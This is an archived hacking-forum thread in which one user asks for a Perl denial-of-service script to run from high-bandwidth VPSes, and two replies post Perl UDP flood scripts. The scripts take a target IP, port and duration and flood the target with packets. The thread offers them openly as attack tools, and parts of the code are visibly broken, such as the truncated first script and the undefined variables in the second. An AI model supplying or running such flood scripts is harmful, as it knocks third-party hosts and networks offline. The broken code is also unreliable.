

Forum:[Hack Forums](#)

Thread: [I can get unlimited 100MB/s vpses centos/ubuntu/vps i just need a PERL dos script](#)

Ebay Freak - January 25, 2014, 3:55 am

As the title says.

i need a perl dos script!

anyone have it ?

Sasha Grey - January 25, 2014, 4:01 am

```
#!/usr/bin/perl
```

```
use Socket;  
use strict;
```

```
my ($ip,$port,$size,$time) = @ARGV;
```

```
my ($iaddr,$endtime,$psize,$pport);
```

```
$iaddr = inet_aton("$ip") or die "Invalid Command $ip\n";  
$endtime = time() + ($time ? $time : 1000);
```

```
socket(flood, PF_INET, SOCK_DGRAM, 17);
```

```
print <<EOTEXT;  
Booting statistics:  
EOTEXT
```

```
print "~UDP Attacking~ $ip " . ($port ? $port : "on random ports") . "  
Trying to drop a connection with "  
($size ? "$size-bytes" : "a random packet size") . "  
Booting this IP for" . "  
($time ? " for $time seconds" : "") . "\n";  
print "To stop the attack type Ctrl-C\n" unless $time;
```

```
for (;time() <= $endtime;) {  
    $psize = $size ? $size : int(rand(1500000-64)+64) ;  
    $pport = $port ? $port : int(rand(65000))+1;
```

```
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
```

<https://hackforums.net/showthread.php?tid=4004151&highlight=perl+dos+script> This is the thread which I found it in.

Private666 - January 25, 2014, 4:04 am

Here you go mate it's alot better.

PHP Code

```

<?php
#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
    printf "To initiate a UDP Flood\n";
    printf "perl $0 ip port time\n";
    printf "Coded by Sync\n";
    printf "Gain the knowledge.\n";
    exit(1);
}
print <<EOTEXT;

```

```

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W      V      V      ^_____ >

```

He who is a Bitch, must pay the price without his net.

EOTEXT

```

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$addr = inet_aton("$ip");

printf "Sync DDos Script\n";
printf "Attack Started $ip on port $port with mass packets\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
    goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
    system("(sleep $time;killall -9 udp) &");
    goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
    goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
    system("(sleep $time;killall -9 udp) &");
    goto randpackets;
}

packets:
for (;;) {
    $size=$rand x $rand x $rand;

```

```
    send(crazy, 0, $size, sockaddr_in($port, $iaddr));  
}
```

randpackets:

```
for (;;) {  
    $size=$rand x $rand x $rand;  
    $port=int(rand 95500) +1;  
    send(crazy, 0, $size, sockaddr_in($port, $iaddr));  
}
```